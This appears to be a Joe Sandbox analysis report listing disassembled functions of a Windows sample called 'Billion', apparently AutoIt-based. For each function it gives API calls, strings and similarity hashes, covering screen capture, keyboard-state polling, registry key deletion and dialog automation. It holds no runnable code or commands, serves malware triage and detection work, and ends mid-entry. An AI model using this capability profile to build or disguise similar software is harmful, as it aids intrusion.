Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MetricsSystem$Window$MessageSend$InvalidateLongMoveProcRectShow
String ID: @$(
API String ID: 3962739598-24772804
Opcode ID: 63048ce2aa2d6bce3f4ca6131bf8d8e49c2b1bd00d58f2bd17fe747f85e2308c
Instruction ID: 972e147f71c0196c647e4f58d5b630cffc34987af6661203c3a3c40dbf60d65c
Opcode Fuzzy Hash: 63048ce2aa2d6bce3f4ca6131bf8d8e49c2b1bd00d58f2bd17fe747f85e2308c
Instruction Fuzzy Hash: FFB18931600219EFCF15CF68C989BAE7BB2BF54708F598069EC48AB295D770ED80CB51

Function 001C976A Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 001C97B6
GetFocus.USER32 ref: 001C97C6
GetDlgCtrlID.USER32(00000000), ref: 001C97D1
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?), ref: 001C9879
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 001C992B
GetMenuItemCount.USER32(?), ref: 001C9948
GetMenuItemID.USER32(?,00000000), ref: 001C9958
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 001C998A
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 001C99CC
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 001C99FD

Strings

( , xrefs: 001C9779
0, xrefs: 001C98FB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0$(
API String ID: 1026556194-3977433327
Opcode ID: 14ece24472c808b3a431ad32e6ef1b2a90b1fe45d6741d0b648895d98511a405
Instruction ID: 64c859f4c42f1362d240dad2fdb39bc6123521d6a4b08eeb2e4d3ebfafec26d7
Opcode Fuzzy Hash: 14ece24472c808b3a431ad32e6ef1b2a90b1fe45d6741d0b648895d98511a405
Instruction Fuzzy Hash: 5581AC715083459FDB10CF24D888FABBBE8FBA9714F10092DF98597291DB70D945CBA2

Function 001B2FB9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 001B3035
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 001B3045
CreateCompatibleDC.GDI32(?), ref: 001B3051
SelectObject.GDI32(00000000,?), ref: 001B305E
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 001B30CA
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 001B3109
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 001B312D
SelectObject.GDI32(?,?), ref: 001B3135
DeleteObject.GDI32(?), ref: 001B313E
DeleteDC.GDI32(?), ref: 001B3145
ReleaseDC.USER32(00000000,?), ref: 001B3150

Strings

(, xrefs: 001B30EA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: de769f9eda788cdddd128870df8dab7f52148f01d6d5fcd36039945a218be09d
Instruction ID: 89797df3c371f47386f11f602be68403b4643cbcde084e3860c2c44dc5077cf3
Opcode Fuzzy Hash: de769f9eda788cdddd128870df8dab7f52148f01d6d5fcd36039945a218be09d
Instruction Fuzzy Hash: D261F2B5D00219EFCF05CFA8D884EAEBBB5FF48310F248529E955A7250D771AA51CFA0

Function 001952AA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 259COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 001952E6
GetWindowTextW.USER32(?,?,00000400), ref: 00195328
_wcslen.LIBCMT ref: 00195339
CharUpperBuffW.USER32(?,00000000), ref: 00195345
_wcsstr.LIBVCRUNTIME ref: 0019537A
GetClassNameW.USER32(00000018,?,00000400), ref: 001953B2
GetWindowTextW.USER32(?,?,00000400), ref: 001953EB
GetClassNameW.USER32(00000018,?,00000400), ref: 00195445
GetClassNameW.USER32(?,?,00000400), ref: 00195477
GetWindowRect.USER32(?,?), ref: 001954EF

Strings

ThumbnailClass, xrefs: 001953BD, 00195450

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 2a63387da0b166cceab99cca60c7a75bdf820ee8e5af54ac233084149a1d72d8
Instruction ID: 099987505d6f59f1fde5bfe9f4486c26cb073b01209e75e10eddf2071e91ed2e
Opcode Fuzzy Hash: 2a63387da0b166cceab99cca60c7a75bdf820ee8e5af54ac233084149a1d72d8
Instruction Fuzzy Hash: C991E471104B06AFDB0ADF24C895BAAB7AAFF10304F004529FA9A93091EB31ED55CB91

Function 0019C8F7 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(002029C0,000000FF,00000000,00000030), ref: 0019C973
SetMenuItemInfoW.USER32(002029C0,00000004,00000000,00000030), ref: 0019C9A8
Sleep.KERNEL32(000001F4), ref: 0019C9BA
GetMenuItemCount.USER32(?), ref: 0019CA00
GetMenuItemID.USER32(?,00000000), ref: 0019CA1D
GetMenuItemID.USER32(?,-00000001), ref: 0019CA49
GetMenuItemID.USER32(?,?), ref: 0019CA90
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0019CAD6
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0019CAEB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0019CB0C

Strings

0, xrefs: 0019C904

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: 7b2682a71016c5939436aff6ee90d117ebc6b5263744bb458b81f87a48b54a2c
Instruction ID: d22690b5dc3b9bf57d60975762c340f64701def43d8c94dde4b0e4cd78e5dfac
Opcode Fuzzy Hash: 7b2682a71016c5939436aff6ee90d117ebc6b5263744bb458b81f87a48b54a2c
Instruction Fuzzy Hash: 91619F7090024AAFDF15CF64D989EEEBFB9FB45388F044055E992A3251D730ED45CBA1

Function 0019E4C2 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0019E4D4
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0019E4FA
_wcslen.LIBCMT ref: 0019E504
_wcsstr.LIBVCRUNTIME ref: 0019E554
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0019E570

Strings

DefaultLangCodepage, xrefs: 0019E5D3
%u.%u.%u.%u, xrefs: 0019E64E
StringFileInfo\, xrefs: 0019E543
04090000, xrefs: 0019E5A6
\VarFileInfo\Translation, xrefs: 0019E568

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: e45a41ec43656f98ade537b387cd338ce0af484646aeae2e74ff77f19e722345
Instruction ID: 41a8ede8815cb4fbba9ab039f62889dd860c096c61e4c6cfd696b86f5f156cca
Opcode Fuzzy Hash: e45a41ec43656f98ade537b387cd338ce0af484646aeae2e74ff77f19e722345
Instruction Fuzzy Hash: 4341F572900314BBEB01ABB4DC47EBF77ACEF65711F000029FD00AA082FB79DA4592A5

Function 001C955E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

Part of subcall function 001319CD: GetCursorPos.USER32(?), ref: 001319E1
Part of subcall function 001319CD: ScreenToClient.USER32(00000000,?), ref: 001319FE
Part of subcall function 001319CD: GetAsyncKeyState.USER32(00000001), ref: 00131A23
Part of subcall function 001319CD: GetAsyncKeyState.USER32(00000002), ref: 00131A3D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?), ref: 001C95C7
ImageList_EndDrag.COMCTL32 ref: 001C95CD
ReleaseCapture.USER32 ref: 001C95D3
SetWindowTextW.USER32(?,00000000), ref: 001C966E
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 001C9681
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?), ref: 001C975B

Strings

@GUI_DROPID, xrefs: 001C96AD
@GUI_DRAGFILE, xrefs: 001C96F6
( , xrefs: 001C956D
( , xrefs: 001C9728
`, xrefs: 001C96CD

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$( $( $`
API String ID: 1924731296-133163302
Opcode ID: a5f4fe32a8028bd12e8f6cebb325e7e52cf1a9536afa5fc5176174d61ac6f871
Instruction ID: b7a92e0a52edb080d88a4b7df17dc76e88be2d5c96d4a67a9e0a1c48545fa449
Opcode Fuzzy Hash: a5f4fe32a8028bd12e8f6cebb325e7e52cf1a9536afa5fc5176174d61ac6f871
Instruction Fuzzy Hash: 87517B70104304AFD704EF24DC9AFAA77E4FBA8714F500A2DF996962E2DB70D948CB52

Function 001BD694 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 001BD6C4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 001BD6ED
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 001BD7A8

Part of subcall function 001BD694: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 001BD70A
Part of subcall function 001BD694: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 001BD71D
Part of subcall function 001BD694: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 001BD72F
Part of subcall function 001BD694: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 001BD765
Part of subcall function 001BD694: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 001BD788

RegDeleteKeyW.ADVAPI32(?,?), ref: 001BD753

Strings

RegDeleteKeyExW, xrefs: 001BD729
advapi32.dll, xrefs: 001BD718

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: ba0e1482bc890afad0a641f29da50dcbfd56ddb537022e2d2aa3f4a3c50391ca
Instruction ID: 8916c6af5266f6bd5fbe1b933469e9bfe4f016cc24af70171ed7c7616cb81b0a
Opcode Fuzzy Hash: ba0e1482bc890afad0a641f29da50dcbfd56ddb537022e2d2aa3f4a3c50391ca
Instruction Fuzzy Hash: E3317075A01129BBDB259BA0EC88EFFBB7CEF55754F000165F905E3140EB349E859AA0

Function 0019EFC7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0019EFCB

Part of subcall function 0014F215: timeGetTime.WINMM(?,?,0019EFEB), ref: 0014F219

Sleep.KERNEL32(0000000A), ref: 0019EFF8
EnumThreadWindows.USER32(?,Function_0006EF7C,00000000), ref: 0019F01C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0019F03E
SetActiveWindow.USER32 ref: 0019F05D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0019F06B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0019F08A
Sleep.KERNEL32(000000FA), ref: 0019F095
IsWindow.USER32 ref: 0019F0A1
EndDialog.USER32(00000000), ref: 0019F0B2

Strings

BUTTON, xrefs: 0019F030

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: d98311cc31f0a8ac7c34b9e7bf6aae408c45cc9c21295fa49b97674663dd847c
Instruction ID: 5e355aa0480eeba7f4aee691045c48a76b5744525522d94b93ec82a3800fe321
Opcode Fuzzy Hash: d98311cc31f0a8ac7c34b9e7bf6aae408c45cc9c21295fa49b97674663dd847c
Instruction Fuzzy Hash: 28218E75100318BFEB10AF20FC8DE26BFAEF758755B080039F605D2672CB728D868A55

Function 0019F313 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0019F374
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0019F38A
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0019F39B
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0019F3AD
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0019F3BE

Strings

status PlayMe mode, xrefs: 0019F36F
open , xrefs: 0019F323
play PlayMe, xrefs: 0019F3B9
alias PlayMe, xrefs: 0019F34D
play PlayMe wait, xrefs: 0019F3A8
close PlayMe, xrefs: 0019F385, 0019F3B2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: d1ddd32e6c2788c148da05cd822187f7df4651fc1549e8e238c09e78a44debad
Instruction ID: e868a5bae5915a453227fd210b07df2d2196ac90692ffacc8ec9614343ac9f07
Opcode Fuzzy Hash: d1ddd32e6c2788c148da05cd822187f7df4651fc1549e8e238c09e78a44debad
Instruction Fuzzy Hash: 5311A331A5025D79DB20A7A6DC4AEFF7A7CFFD2B54F40042A7901E20D0EBA05A45C5A1

Function 0019A958 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0019A9D9
SetKeyboardState.USER32(?), ref: 0019AA44
GetAsyncKeyState.USER32(000000A0), ref: 0019AA64
GetKeyState.USER32(000000A0), ref: 0019AA7B
GetAsyncKeyState.USER32(000000A1), ref: 0019AAAA
GetKeyState.USER32(000000A1), ref: 0019AABB
GetAsyncKeyState.USER32(00000011), ref: 0019AAE7
GetKeyState.USER32(00000011), ref: 0019AAF5
GetAsyncKeyState.USER32(00000012), ref: 0019AB1E
GetKeyState.USER32(00000012), ref: 0019AB2C
GetAsyncKeyState.USER32(0000005B), ref: 0019AB55
GetKeyState.USER32(0000005B), ref: 0019AB63

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 27e3292dadf4227440ff6b7d5b4aee699f165ee3d4b75ce154b7dc3715a4f112
Instruction ID: 9582d0300f70eca083f3a3cf76386aa1ffce27dfc3a6e3e843ba17b990b95894
Opcode Fuzzy Hash: 27e3292dadf4227440ff6b7d5b4aee699f165ee3d4b75ce154b7dc3715a4f112
Instruction Fuzzy Hash: C9512920A087882AFF35D7649950BEABFF59F11344F894599D5C20B1C2DB64AB4CC7E3

Function 0019662D Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00196649
GetWindowRect.USER32(00000000,?), ref: 00196662
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 001966C0
GetDlgItem.USER32(?,00000002), ref: 001966D0
GetWindowRect.USER32(00000000,?), ref: 001966E2
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00196736
GetDlgItem.USER32(?,000003E9), ref: 00196744
GetWindowRect.USER32(00000000,?), ref: 00196756
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00196798
GetDlgItem.USER32(?,000003EA), ref: 001967AB
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 001967C1
InvalidateRect.USER32(?,00000000,00000001), ref: 001967CE

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: e302e7f07dd1d86b40d785eebe8b6624107db440316bb1766a1dd4cecab78f32
Instruction ID: 3b34ccf2de7d673f03a87c932513a05d10ce72b09472f10e886b822a2b36fc3f
Opcode Fuzzy Hash: e302e7f07dd1d86b40d785eebe8b6624107db440316bb1766a1dd4cecab78f32
Instruction Fuzzy Hash: FF511F75A00215AFDF18CFA8DD85AAEBBB5FB48314F108129F519E7690D770AD44CB60

Function 00132128 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00132234: GetWindowLongW.USER32(?,000000EB), ref: 00132242

GetSysColor.USER32(0000000F), ref: 00132152

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: fab0b5668ca1f34bea7a9d8dce15f69fef7a40c514a3e591809c1034e0692ebe
Instruction ID: 82bc51069d95a94921705da5bff6e7b2968e083ced2c7f9b4e41a9f514739a22
Opcode Fuzzy Hash: fab0b5668ca1f34bea7a9d8dce15f69fef7a40c514a3e591809c1034e0692ebe
Instruction Fuzzy Hash: D341B431100644AFDB246F38AC48FBA3BB5AB56730F154255FAB6872E1C731DD82EB11

Function 001313A6 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 001728D1
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 001728EA
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 001728FA
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00172912
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00172933
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,001311F5,00000000,00000000,00000000,000000FF,00000000), ref: 00172942
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0017295F
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,001311F5,00000000,00000000,00000000,000000FF,00000000), ref: 0017296E

Strings

( , xrefs: 00172885

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: (
API String ID: 1268354404-2181176062
Opcode ID: 93341bfed9d4997f3d3fc9d6b85300c833d70e3f63bc6a9b38ce11a656ab837e
Instruction ID: a4d9026d67be918caa153e21768a83def8b784f121c10461628242da05b7ecd6
Opcode Fuzzy Hash: 93341bfed9d4997f3d3fc9d6b85300c833d70e3f63bc6a9b38ce11a656ab837e
Instruction Fuzzy Hash: 5F518530600309EFDB24DF25DC49FAA7BB5FB58724F208529FA46976A0DB70E891DB50

Function 0019A05C Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00180D31,00000001,0000138C,00000001,00000000,00000001,?,001AEEAE,00202430), ref: 0019A091
LoadStringW.USER32(00000000,?,00180D31,00000001), ref: 0019A09A

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00180D31,00000001,0000138C,00000001,00000000,00000001,?,001AEEAE,00202430,?), ref: 0019A0BC
LoadStringW.USER32(00000000,?,00180D31,00000001), ref: 0019A0BF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0019A1E0

Strings

Error: , xrefs: 0019A197
Line %d (File "%s"):, xrefs: 0019A109
Line %d:, xrefs: 0019A11A
^ ERROR, xrefs: 0019A175
%s (%d) : ==> %s: %s %s, xrefs: 0019A1C4

Memory Dump Source

